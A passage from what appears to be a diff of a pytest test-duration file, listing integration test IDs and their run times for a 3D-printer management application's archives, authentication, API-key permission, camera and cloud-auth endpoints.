"integration/test_archives_api.py::TestPrintLogEntryUpdate::test_patch_rejects_unknown_failure_reason": 0.20301370788365602, + "integration/test_archives_api.py::TestPrintLogEntryUpdate::test_patch_rejects_unknown_status": 0.2042472204193473, + "integration/test_archives_api.py::TestPrintLogEntryUpdate::test_patch_sets_failure_reason": 0.2030199095606804, + "integration/test_archives_api.py::TestPrintLogEntryUpdate::test_patch_updates_status": 0.2081203404814005, + "integration/test_archives_api.py::TestPrintLogEntryUpdate::test_patch_works_on_orphan_entry": 0.19977335538715124, + "integration/test_archives_api.py::TestPrintLogSorting::test_defaults_to_newest_first": 0.21808443497866392, + "integration/test_archives_api.py::TestPrintLogSorting::test_empty_values_sort_last_whichever_direction": 0.20247751288115978, + "integration/test_archives_api.py::TestPrintLogSorting::test_invalid_direction_is_rejected": 0.19982411060482264, + "integration/test_archives_api.py::TestPrintLogSorting::test_sorts_by_filament_used_in_both_directions": 0.1999355098232627, + "integration/test_archives_api.py::TestPrintLogSorting::test_ties_are_broken_stably_across_pages": 0.20835145376622677, + "integration/test_archives_api.py::TestPrintLogSorting::test_unknown_sort_column_is_rejected": 0.19941856060177088, + "integration/test_archives_api.py::TestSoftDeletedArchivesAreExcluded::test_export_omits_soft_deleted_archives": 0.21383112482726574, + "integration/test_archives_api.py::TestSoftDeletedArchivesAreExcluded::test_project_failure_analysis_omits_soft_deleted_archives": 0.22046149987727404, + "integration/test_archives_api.py::TestSoftDeletedArchivesAreExcluded::test_unscoped_failure_analysis_is_unchanged": 0.21856443397700787, + "integration/test_archives_api.py::TestUploadSourceThreeMF::test_absolute_file_path_rejected_with_clear_500": 0.21024660300463438, + "integration/test_archives_api.py::TestUploadSourceThreeMF::test_fallback_archive_source_upload_lands_under_base_dir": 0.20824527461081743, + "integration/test_archives_api.py::TestUploadSourceThreeMF::test_normal_archive_source_upload_unchanged": 0.21007302030920982, + "integration/test_archives_api.py::TestUploadSourceThreeMF::test_symlinked_data_dir_upload_succeeds": 0.2103531351312995, + "integration/test_auth_api.py::TestAuthDisableAPI::test_disable_auth": 0.2288126815110445, + "integration/test_auth_api.py::TestAuthLoginAPI::test_login_auth_disabled": 0.1984288627281785, + "integration/test_auth_api.py::TestAuthLoginAPI::test_login_invalid_credentials": 0.2214040793478489, + "integration/test_auth_api.py::TestAuthLoginAPI::test_login_success": 0.22088649682700634, + "integration/test_auth_api.py::TestAuthMeAPI::test_me_permissions_are_exactly_what_the_gate_admits": 0.22754754312336445, + "integration/test_auth_api.py::TestAuthMeAPI::test_me_permissions_track_the_key_scopes_not_the_owner": 0.22036783397197723, + "integration/test_auth_api.py::TestAuthMeAPI::test_me_reports_the_key_owner_not_a_synthetic_admin": 0.21831982769072056, + "integration/test_auth_api.py::TestAuthMeAPI::test_me_with_invalid_api_key": 0.20275483466684818, + "integration/test_auth_api.py::TestAuthMeAPI::test_me_with_ownerless_api_key_bearer": 0.215298593044281, + "integration/test_auth_api.py::TestAuthMeAPI::test_me_with_ownerless_api_key_header": 0.2151711042970419, + "integration/test_auth_api.py::TestAuthMeAPI::test_me_with_valid_token": 0.23617994133383036, + "integration/test_auth_api.py::TestAuthMeAPI::test_me_withholds_owner_email_and_groups": 0.22788443323224783, + "integration/test_auth_api.py::TestAuthMeAPI::test_me_without_token": 0.19348484836518764, + "integration/test_auth_api.py::TestAuthMiddlewarePublicRoutes::test_advanced_auth_status_is_public": 0.20554011315107346, + "integration/test_auth_api.py::TestAuthMiddlewarePublicRoutes::test_auth_login_is_public": 0.2136065447703004, + "integration/test_auth_api.py::TestAuthMiddlewarePublicRoutes::test_auth_setup_is_public": 0.21654877811670303, + "integration/test_auth_api.py::TestAuthMiddlewarePublicRoutes::test_auth_status_is_public": 0.2043359074741602, + "integration/test_auth_api.py::TestAuthMiddlewarePublicRoutes::test_forgot_password_is_public": 0.21329733170568943, + "integration/test_auth_api.py::TestAuthMiddlewarePublicRoutes::test_protected_route_requires_auth": 0.2151836585253477, + "integration/test_auth_api.py::TestAuthMiddlewarePublicRoutes::test_protected_route_works_with_token": 0.23631832096725702, + "integration/test_auth_api.py::TestAuthMiddlewarePublicRoutes::test_system_appliance_is_public": 0.21045153960585594, + "integration/test_auth_api.py::TestAuthMiddlewarePublicRoutes::test_updates_version_is_public": 0.20480216201394796, + "integration/test_auth_api.py::TestAuthSetupAPI::test_setup_auth_disabled": 0.20865263603627682, + "integration/test_auth_api.py::TestAuthSetupAPI::test_setup_auth_enabled_requires_credentials": 0.20368884317576885, + "integration/test_auth_api.py::TestAuthSetupAPI::test_setup_auth_enabled_with_credentials": 0.212616297416389, + "integration/test_auth_api.py::TestAuthSetupAPI::test_setup_reenable_with_existing_admin_ignores_password": 0.21481788158416748, + "integration/test_auth_api.py::TestAuthSetupAPI::test_setup_weak_password_rejected_when_creating_new_admin": 0.21578426379710436, + "integration/test_auth_api.py::TestAuthStatusAPI::test_get_auth_status_disabled": 0.20198947004973888, + "integration/test_auth_api.py::TestChangePasswordAPI::test_change_password_requires_auth": 0.2004080954939127, + "integration/test_auth_api.py::TestChangePasswordAPI::test_change_password_success": 0.27632860094308853, + "integration/test_auth_api.py::TestChangePasswordAPI::test_change_password_wrong_current": 0.2551590632647276, + "integration/test_auth_api.py::TestGroupsAPI::test_cannot_delete_system_group": 0.24509340710937977, + "integration/test_auth_api.py::TestGroupsAPI::test_create_group": 0.22485402412712574, + "integration/test_auth_api.py::TestGroupsAPI::test_delete_custom_group": 0.24012279231101274, + "integration/test_auth_api.py::TestGroupsAPI::test_get_permissions": 0.237982340157032, + "integration/test_auth_api.py::TestGroupsAPI::test_list_groups": 0.22393596172332764, + "integration/test_auth_api.py::TestGroupsAPI::test_update_group": 0.2566961357370019, + "integration/test_auth_api.py::TestInputLengthValidation::test_login_password_at_limit_accepted": 0.20113595761358738, + "integration/test_auth_api.py::TestInputLengthValidation::test_login_password_too_long_rejected": 0.19932497572153807, + "integration/test_auth_api.py::TestInputLengthValidation::test_login_username_too_long_rejected": 0.19639277923852205, + "integration/test_auth_api.py::TestInputLengthValidation::test_setup_password_too_long_rejected": 0.2125242641195655, + "integration/test_auth_api.py::TestUserGroupsAPI::test_add_user_to_group": 0.2636973885819316, + "integration/test_auth_api.py::TestUserGroupsAPI::test_create_user_with_groups": 0.24861674197018147, + "integration/test_auth_api.py::TestUsersAPI::test_create_user": 0.24497659970074892, + "integration/test_auth_api.py::TestUsersAPI::test_create_user_duplicate_username": 0.2593244919553399, + "integration/test_auth_api.py::TestUsersAPI::test_delete_user": 0.2660388955846429, + "integration/test_auth_api.py::TestUsersAPI::test_list_users_as_admin": 0.22946636844426394, + "integration/test_auth_api.py::TestUsersAPI::test_list_users_requires_auth": 0.2051769932731986, + "integration/test_auth_api.py::TestUsersAPI::test_update_user": 0.2594048613682389, + "integration/test_auth_apikey_rbac.py::TestApiKeyDenylistIntegrity::test_admin_permissions_are_denied_for_api_keys": 0.001652667298913002, + "integration/test_auth_apikey_rbac.py::TestApiKeyDenylistIntegrity::test_operational_permissions_are_allowed_for_api_keys": 0.0025187116116285324, + "integration/test_auth_apikey_rbac.py::TestApiKeyRbacAllowed::test_api_key_can_access_inventory_read": 0.22731557581573725, + "integration/test_auth_apikey_rbac.py::TestApiKeyRbacDenied::test_api_key_bearer_cannot_access_settings_update": 0.22075786627829075, + "integration/test_auth_apikey_rbac.py::TestApiKeyRbacDenied::test_api_key_cannot_access_settings_update_endpoint": 0.2222030246630311, + "integration/test_auth_apikey_rbac.py::TestApiKeyScopeAllowlist::test_allowlist_and_denylist_are_disjoint": 0.0007866537198424339, + "integration/test_auth_apikey_rbac.py::TestApiKeyScopeAllowlist::test_allowlist_uses_only_valid_scope_flags": 0.0008145058527588844, + "integration/test_auth_apikey_rbac.py::TestApiKeyScopeAllowlist::test_each_scope_flag_has_at_least_one_permission[can_access_cloud]": 0.0008362075313925743, + "integration/test_auth_apikey_rbac.py::TestApiKeyScopeAllowlist::test_each_scope_flag_has_at_least_one_permission[can_control_printer]": 0.0014542043209075928, + "integration/test_auth_apikey_rbac.py::TestApiKeyScopeAllowlist::test_each_scope_flag_has_at_least_one_permission[can_manage_archives]": 0.0008333334699273109, + "integration/test_auth_apikey_rbac.py::TestApiKeyScopeAllowlist::test_each_scope_flag_has_at_least_one_permission[can_manage_inventory]": 0.0008690375834703445, + "integration/test_auth_apikey_rbac.py::TestApiKeyScopeAllowlist::test_each_scope_flag_has_at_least_one_permission[can_manage_library]": 0.0008898898959159851, + "integration/test_auth_apikey_rbac.py::TestApiKeyScopeAllowlist::test_each_scope_flag_has_at_least_one_permission[can_manage_maintenance]": 0.0008457442745566368, + "integration/test_auth_apikey_rbac.py::TestApiKeyScopeAllowlist::test_each_scope_flag_has_at_least_one_permission[can_manage_projects]": 0.0008304864168167114, + "integration/test_auth_apikey_rbac.py::TestApiKeyScopeAllowlist::test_each_scope_flag_has_at_least_one_permission[can_queue]": 0.0011969339102506638, + "integration/test_auth_apikey_rbac.py::TestApiKeyScopeAllowlist::test_each_scope_flag_has_at_least_one_permission[can_read_status]": 0.0009179897606372833, + "integration/test_auth_apikey_rbac.py::TestApiKeyScopeAllowlist::test_every_permission_has_a_classification": 0.0009961677715182304, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_admin_permissions_are_403_regardless_of_flags[API_KEYS_CREATE]": 0.0008487803861498833, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_admin_permissions_are_403_regardless_of_flags[ARCHIVES_PURGE]": 0.0008482504636049271, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_admin_permissions_are_403_regardless_of_flags[DISCOVERY_SCAN]": 0.0008462853729724884, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_admin_permissions_are_403_regardless_of_flags[FIRMWARE_UPDATE]": 0.0008587595075368881, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_admin_permissions_are_403_regardless_of_flags[GITHUB_BACKUP]": 0.0008521582931280136, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_admin_permissions_are_403_regardless_of_flags[GROUPS_DELETE]": 0.0008647693321108818, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_admin_permissions_are_403_regardless_of_flags[LIBRARY_PURGE]": 0.0008567757904529572, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_admin_permissions_are_403_regardless_of_flags[PIPELINES_WRITE]": 0.0008728960528969765, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_admin_permissions_are_403_regardless_of_flags[PRINTERS_CREATE]": 0.0008562337607145309, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_admin_permissions_are_403_regardless_of_flags[SETTINGS_UPDATE]": 0.0008562058210372925, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_admin_permissions_are_403_regardless_of_flags[USERS_CREATE]": 0.0008721137419342995, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_empty_perm_list_is_403": 0.0008060503751039505, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_permission_allowed_only_when_scope_flag_is_set[ARCHIVES_CREATE-can_manage_archives-create an archive]": 0.0009776027873158455, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_permission_allowed_only_when_scope_flag_is_set[ARCHIVES_DELETE_ALL-can_manage_archives-delete any archive]": 0.0012050177901983261, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_permission_allowed_only_when_scope_flag_is_set[ARCHIVES_DELETE_OWN-can_manage_archives-delete own archive]": 0.0009711496531963348, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_permission_allowed_only_when_scope_flag_is_set[ARCHIVES_READ-can_read_status-read archives]": 0.0010076593607664108, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_permission_allowed_only_when_scope_flag_is_set[ARCHIVES_REPRINT_ALL-can_queue-reprint an archive]": 0.0009670024737715721, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_permission_allowed_only_when_scope_flag_is_set[ARCHIVES_UPDATE_ALL-can_manage_archives-edit any archive]": 0.000985667109489441, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_permission_allowed_only_when_scope_flag_is_set[ARCHIVES_UPDATE_OWN-can_manage_archives-edit own archive]": 0.000970759429037571, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_permission_allowed_only_when_scope_flag_is_set[INVENTORY_CREATE-can_manage_inventory-create spool record]": 0.0014663301408290863, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_permission_allowed_only_when_scope_flag_is_set[INVENTORY_DELETE-can_manage_inventory-delete spool record]": 0.0009621437638998032, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_permission_allowed_only_when_scope_flag_is_set[INVENTORY_FORECAST_WRITE-can_manage_inventory-update forecast SKU settings]": 0.0009642075747251511, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_permission_allowed_only_when_scope_flag_is_set[INVENTORY_UPDATE-can_manage_inventory-update spool / SpoolBuddy kiosk write]": 0.0009734136983752251, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_permission_allowed_only_when_scope_flag_is_set[LIBRARY_DELETE_ALL-can_manage_library-delete any library file]": 0.0010349191725254059, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_permission_allowed_only_when_scope_flag_is_set[LIBRARY_DELETE_OWN-can_manage_library-delete own library file]": 0.0013416744768619537, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_permission_allowed_only_when_scope_flag_is_set[LIBRARY_UPDATE_ALL-can_manage_library-rename any library file]": 0.0009773429483175278, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_permission_allowed_only_when_scope_flag_is_set[LIBRARY_UPDATE_OWN-can_manage_library-rename own library file]": 0.0011915341019630432, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_permission_allowed_only_when_scope_flag_is_set[LIBRARY_UPLOAD-can_manage_library-upload library file]": 0.0018953122198581696, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_permission_allowed_only_when_scope_flag_is_set[MAINTENANCE_CREATE-can_manage_maintenance-assign maintenance type to printer]": 0.0009496985003352165, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_permission_allowed_only_when_scope_flag_is_set[MAINTENANCE_DELETE-can_manage_maintenance-remove custom maintenance item]": 0.0009753582999110222, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_permission_allowed_only_when_scope_flag_is_set[MAINTENANCE_UPDATE-can_manage_maintenance-log maintenance / edit interval]": 0.0009591979905962944, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_permission_allowed_only_when_scope_flag_is_set[MAKERWORLD_IMPORT-can_manage_library-import from MakerWorld]": 0.001012149266898632, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_permission_allowed_only_when_scope_flag_is_set[PIPELINES_READ-can_read_status-list pipelines / read run history]": 0.0009990604594349861, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_permission_allowed_only_when_scope_flag_is_set[PRINTERS_CONTROL-can_control_printer-start/stop print]": 0.0009618336334824562, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_permission_allowed_only_when_scope_flag_is_set[PRINTERS_FILES-can_control_printer-send file to printer]": 0.0009659193456172943, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_permission_allowed_only_when_scope_flag_is_set[PRINTERS_READ-can_read_status-read printer status]": 0.0010304423049092293, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_permission_allowed_only_when_scope_flag_is_set[PROJECTS_CREATE-can_manage_projects-create a project]": 0.001162821426987648, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_permission_allowed_only_when_scope_flag_is_set[PROJECTS_DELETE-can_manage_projects-delete a project]": 0.0009921593591570854, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_permission_allowed_only_when_scope_flag_is_set[PROJECTS_UPDATE-can_manage_projects-update a project / add archives]": 0.0013951761648058891, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_permission_allowed_only_when_scope_flag_is_set[QUEUE_CREATE-can_queue-add queue item]": 0.0009985826909542084, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_permission_allowed_only_when_scope_flag_is_set[QUEUE_DELETE_ALL-can_queue-delete any queue item]": 0.0009691771119832993, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_permission_allowed_only_when_scope_flag_is_set[QUEUE_READ-can_read_status-read queue]": 0.0009831031784415245, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_permission_allowed_only_when_scope_flag_is_set[SETTINGS_READ-can_read_status-SpoolBuddy kiosk settings read]": 0.0009909067302942276, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_permission_allowed_only_when_scope_flag_is_set[SMART_PLUGS_CONTROL-can_control_printer-smart plug on/off]": 0.001012217253446579, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_permission_allowed_only_when_scope_flag_is_set[WEBSOCKET_CONNECT-can_read_status-websocket subscribe]": 0.0017508221790194511, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_require_all_every_perm_must_pass": 0.0009346203878521919, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_require_any_at_least_one_must_pass": 0.0008065309375524521, + "integration/test_auth_apikey_rbac.py::TestCheckApiKeyPermissionsMatrix::test_unknown_permission_string_is_admin_denied": 0.0008188635110855103, + "integration/test_auth_apikey_rbac.py::TestMultiScopePermissions::test_a_partial_key_is_refused[flags0]": 0.0008496996015310287, + "integration/test_auth_apikey_rbac.py::TestMultiScopePermissions::test_a_partial_key_is_refused[flags1]": 0.001239934004843235, + "integration/test_auth_apikey_rbac.py::TestMultiScopePermissions::test_a_partial_key_is_refused[flags2]": 0.000858730636537075, + "integration/test_auth_apikey_rbac.py::TestMultiScopePermissions::test_a_partial_key_is_refused[flags3]": 0.0010257437825202942, + "integration/test_auth_apikey_rbac.py::TestMultiScopePermissions::test_both_flags_pass": 0.0008090157061815262, + "integration/test_auth_apikey_rbac.py::TestMultiScopePermissions::test_effective_permissions_agree_with_the_gate": 0.0007821442559361458, + "integration/test_auth_apikey_rbac.py::TestMultiScopePermissions::test_effective_permissions_still_narrow_to_the_owner": 0.0007304595783352852, + "integration/test_auth_apikey_rbac.py::TestMultiScopePermissions::test_require_any_still_passes_on_a_different_permission": 0.0006308630108833313, + "integration/test_auth_apikey_rbac.py::TestMultiScopePermissions::test_single_scope_message_is_unchanged": 0.0006772801280021667, + "integration/test_auth_apikey_rbac.py::TestMultiScopePermissions::test_the_403_names_every_missing_flag": 0.0015096403658390045, + "integration/test_auth_apikey_rbac.py::TestPipelineRoutesAcceptApiKeys::test_a_fully_scoped_key_gets_past_the_gate": 0.2160227606073022, + "integration/test_auth_apikey_rbac.py::TestPipelineRoutesAcceptApiKeys::test_a_queue_only_key_cannot_run_a_pipeline": 0.2112493645399809, + "integration/test_auth_apikey_rbac.py::TestPipelineRoutesAcceptApiKeys::test_a_read_key_can_list_pipelines": 0.34344867523759604, + "integration/test_auth_apikey_rbac.py::TestPipelineRoutesAcceptApiKeys::test_a_read_key_can_list_runs": 0.22089827992022038, + "integration/test_auth_apikey_rbac.py::TestPipelineRoutesAcceptApiKeys::test_a_read_key_cannot_author_a_pipeline": 0.20128102973103523, + "integration/test_available_filaments.py::TestAvailableFilaments::test_dedup_distinguishes_subtypes": 0.20047876704484224, + "integration/test_available_filaments.py::TestAvailableFilaments::test_dedup_same_subtype_same_color": 0.21197268832474947, + "integration/test_available_filaments.py::TestAvailableFilaments::test_empty_sub_brands_handled": 0.2198374904692173, + "integration/test_available_filaments.py::TestAvailableFilaments::test_external_spool_includes_sub_brands": 0.2036229381337762, + "integration/test_available_filaments.py::TestAvailableFilaments::test_no_printers_returns_empty": 0.19198145996779203, + "integration/test_available_filaments.py::TestAvailableFilaments::test_returns_tray_sub_brands": 0.19909514300525188, + "integration/test_background_dispatch_api.py::TestLegacyArchivePrintAPI::test_reprint_route_returns_410_and_does_not_dispatch": 0.19823707547038794, + "integration/test_background_dispatch_api.py::TestLegacyLibraryPrintAPI::test_library_print_route_returns_410_and_does_not_dispatch": 0.19895242527127266, + "integration/test_camera_api.py::TestCameraAPI::test_calibrate_plate_defaults_use_external_when_external_camera_enabled": 0.20383362472057343, + "integration/test_camera_api.py::TestCameraAPI::test_calibrate_plate_explicit_use_external_false_overrides_default": 0.1970775118097663, + "integration/test_camera_api.py::TestCameraAPI::test_calibrate_plate_printer_not_found": 0.20336560811847448, + "integration/test_camera_api.py::TestCameraAPI::test_calibrate_plate_success_structure": 0.20034126937389374, + "integration/test_camera_api.py::TestCameraAPI::test_camera_diagnose_printer_not_found": 0.19517509452998638, + "integration/test_camera_api.py::TestCameraAPI::test_camera_diagnose_returns_structured_result": 0.19601044151932, + "integration/test_camera_api.py::TestCameraAPI::test_camera_snapshot_external_camera_failure": 0.19638245925307274, + "integration/test_camera_api.py::TestCameraAPI::test_camera_snapshot_external_camera_success": 0.19790272880345583, + "integration/test_camera_api.py::TestCameraAPI::test_camera_snapshot_failure": 0.2047574371099472, + "integration/test_camera_api.py::TestCameraAPI::test_camera_snapshot_printer_not_found": 0.19565340410917997, + "integration/test_camera_api.py::TestCameraAPI::test_camera_snapshot_reuses_buffered_frame_when_stream_active": 0.19880245439708233, + "integration/test_camera_api.py::TestCameraAPI::test_camera_snapshot_success": 0.1954651176929474, + "integration/test_camera_api.py::TestCameraAPI::test_camera_stream_fps_validation": 0.19703472405672073, + "integration/test_camera_api.py::TestCameraAPI::test_camera_stream_printer_not_found": 0.19744624383747578, + "integration/test_camera_api.py::TestCameraAPI::test_camera_test_failure": 0.20145771093666553, + "integration/test_camera_api.py::TestCameraAPI::test_camera_test_printer_not_found": 0.19814731925725937, + "integration/test_camera_api.py::TestCameraAPI::test_camera_test_success": 0.19852084666490555, + "integration/test_camera_api.py::TestCameraAPI::test_check_plate_defaults_use_external_false_when_external_camera_disabled": 0.20077690482139587, + "integration/test_camera_api.py::TestCameraAPI::test_check_plate_defaults_use_external_when_external_camera_enabled": 0.2018825989216566, + "integration/test_camera_api.py::TestCameraAPI::test_check_plate_empty_printer_not_found": 0.1992718242108822, + "integration/test_camera_api.py::TestCameraAPI::test_check_plate_empty_success_structure": 0.20923388563096523, + "integration/test_camera_api.py::TestCameraAPI::test_delete_calibration_printer_not_found": 0.19191958475857973, + "integration/test_camera_api.py::TestCameraAPI::test_delete_calibration_success": 0.20537474285811186, + "integration/test_camera_api.py::TestCameraAPI::test_delete_reference_printer_not_found": 0.1997052077203989, + "integration/test_camera_api.py::TestCameraAPI::test_get_reference_thumbnail_printer_not_found": 0.1985189337283373, + "integration/test_camera_api.py::TestCameraAPI::test_get_references_opencv_not_available": 0.21352752577513456, + "integration/test_camera_api.py::TestCameraAPI::test_get_references_printer_not_found": 0.2098545003682375, + "integration/test_camera_api.py::TestCameraAPI::test_get_references_success": 0.2001530658453703, + "integration/test_camera_api.py::TestCameraAPI::test_list_usb_cameras_empty_on_non_linux": 0.19648694340139627, + "integration/test_camera_api.py::TestCameraAPI::test_list_usb_cameras_returns_list": 0.2007447462528944, + "integration/test_camera_api.py::TestCameraAPI::test_list_usb_cameras_structure": 0.1947540370747447, + "integration/test_camera_api.py::TestCameraAPI::test_plate_detection_status_opencv_not_available": 0.205825618468225, + "integration/test_camera_api.py::TestCameraAPI::test_plate_detection_status_printer_not_found": 0.22977298311889172, + "integration/test_camera_api.py::TestCameraAPI::test_plate_detection_status_success": 0.1946734758093953, + "integration/test_camera_api.py::TestCameraAPI::test_stop_camera_stream_get": 0.2058467185124755, + "integration/test_camera_api.py::TestCameraAPI::test_stop_camera_stream_handles_fanout_stream_id": 0.2088443459942937, + "integration/test_camera_api.py::TestCameraAPI::test_stop_camera_stream_invokes_broadcaster_shutdown": 0.20267746690660715, + "integration/test_camera_api.py::TestCameraAPI::test_stop_camera_stream_no_active_streams": 0.19934708531945944, + "integration/test_camera_api.py::TestCameraAPI::test_stop_camera_stream_only_stops_matching_printer": 0.20685345400124788, + "integration/test_camera_api.py::TestCameraAPI::test_stop_camera_stream_post": 0.19919002149254084, + "integration/test_camera_api.py::TestCameraAPI::test_stop_camera_stream_skips_shutdown_when_subscribers_remain": 0.19636356364935637, + "integration/test_camera_api.py::TestCameraAPI::test_stop_camera_stream_with_active_stream": 0.201777552254498, + "integration/test_camera_api.py::TestCameraAPI::test_update_reference_label_printer_not_found": 0.19857717212289572, + "integration/test_camera_api.py::TestCameraStreamPoolHygiene::test_camera_stream_does_not_hold_a_get_db_session": 0.0010238392278552055, + "integration/test_camwall_api.py::TestCamWallFeedAuth::test_camera_stream_token_cannot_reach_the_feed": 0.23513207864016294, + "integration/test_camwall_api.py::TestCamWallFeedAuth::test_camwall_token_reaches_the_feed": 0.2383979493752122, + "integration/test_camwall_api.py::TestCamWallFeedAuth::test_garbage_token_is_rejected": 0.22779817134141922, + "integration/test_camwall_api.py::TestCamWallFeedAuth::test_no_token_is_rejected": 0.2221012134104967, + "integration/test_camwall_api.py::TestCamWallFeedAuth::test_revoked_camwall_token_is_rejected": 0.2352268947288394, + "integration/test_camwall_api.py::TestCamWallFeedPayload::test_disconnected_printer_reports_connected_false": 0.24013637751340866, + "integration/test_camwall_api.py::TestCamWallFeedPayload::test_payload_withholds_secrets_and_filenames": 0.24997087009251118, + "integration/test_camwall_api.py::TestCamWallTokenReachesTheVideo::test_camera_stream_token_still_passes_its_own_gate": 0.23811868485063314, + "integration/test_camwall_api.py::TestCamWallTokenReachesTheVideo::test_camwall_gate_rejects_a_camera_stream_token": 0.22898285184055567, + "integration/test_camwall_api.py::TestCamWallTokenReachesTheVideo::test_camwall_token_passes_the_camera_stream_gate": 0.22669852152466774, + "integration/test_camwall_api.py::TestScopeValidation::test_unknown_scope_is_rejected_at_mint": 0.23536807112395763, + "integration/test_client_ip.py::test_all_xff_entries_are_proxies_falls_back_to_leftmost": 0.0009317565709352493, + "integration/test_client_ip.py::test_empty_xff_with_trusted_proxy_returns_direct_ip": 0.0011819759383797646, + "integration/test_client_ip.py::test_no_client_returns_unique_token": 0.0008866116404533386, + "integration/test_client_ip.py::test_no_proxy_returns_client_host": 0.0013734549283981323, + "integration/test_client_ip.py::test_no_proxy_xff_ignored": 0.0009945249184966087, + "integration/test_client_ip.py::test_spoofed_xff_from_untrusted_client_ignored": 0.0008737584576010704, + "integration/test_client_ip.py::test_trusted_proxy_chain_skips_proxy_ips": 0.0009265067055821419, + "integration/test_client_ip.py::test_trusted_proxy_returns_rightmost_non_proxy": 0.0009325379505753517, + "integration/test_client_ip.py::test_xff_with_extra_whitespace_trimmed": 0.0008896356448531151, + "integration/test_cloud_auth.py::TestCloudEndpointPermissions::test_cloud_fields_requires_cloud_auth": 0.22626166231930256, + "integration/test_cloud_auth.py::TestCloudEndpointPermissions::test_cloud_settings_requires_cloud_auth_not_settings_read": 0.23461768310517073, + "integration/test_cloud_auth.py::TestCloudEndpointPermissions::test_cloud_status_requires_cloud_auth": 0.21617873199284077, + "integration/test_cloud_auth.py::TestCloudRegionPersistence::test_build_authenticated_cloud_uses_stored_region": 0.21668949164450169, + "integration/test_cloud_auth.py::TestCloudRegionPersistence::test_invalid_region_is_normalised_to_global": 0.18794256169348955, + "integration/test_cloud_auth.py::TestCloudRegionPersistence::test_region_survives_roundtrip_global_fallback": 0.18395257089287043, + "integration/test_cloud_auth.py::TestCloudRegionPersistence::test_region_survives_roundtrip_per_user": 0.19132370688021183, + "integration/test_cloud_auth.py::TestCloudRouteRegionPlumbing::test_cloud_status_exposes_stored_region": 0.21665245946496725, + "integration/test_cloud_auth.py::TestCloudRouteRegionPlumbing::test_cloud_status_region_is_null_when_unauthenticated": 0.19597297254949808, + "integration/test_cloud_auth.py::TestCloudRouteRegionPlumbing::test_login_route_with_china_region_hits_cn_endpoint": 0.2034284844994545, + "integration/test_cloud_auth.py::TestCloudRouteRegionPlumbing::test_set_token_route_with_china_region_hits_cn_endpoint": 0.20100470166653395, + "integration/test_cloud_auth.py::TestCloudRouteRegionPlumbing::test_verify_route_with_china_region_hits_cn_tfa_endpoint": 0.20447338465601206, + "integration/test_cloud_auth.py::TestCloudTokenStorage::test_clear_global_token": 0.19590188935399055, + "integration/test_cloud_auth.py::TestCloudTokenStorage::test_clear_per_user_token": 0.1992284245789051, + "integration/test_cloud_auth.py::TestCloudTokenStorage::test_get_stored_token_returns_none_when_no_user_no_global": 0.17595720756798983, + "integration/test_cloud_auth.py::TestCloudTokenStorage::test_per_user_token_does_not_affect_global": 0.18772961106151342, + "integration/test_cloud_auth.py::TestCloudTokenStorage::test_store_and_get_global_token": 0.17946366779506207, + 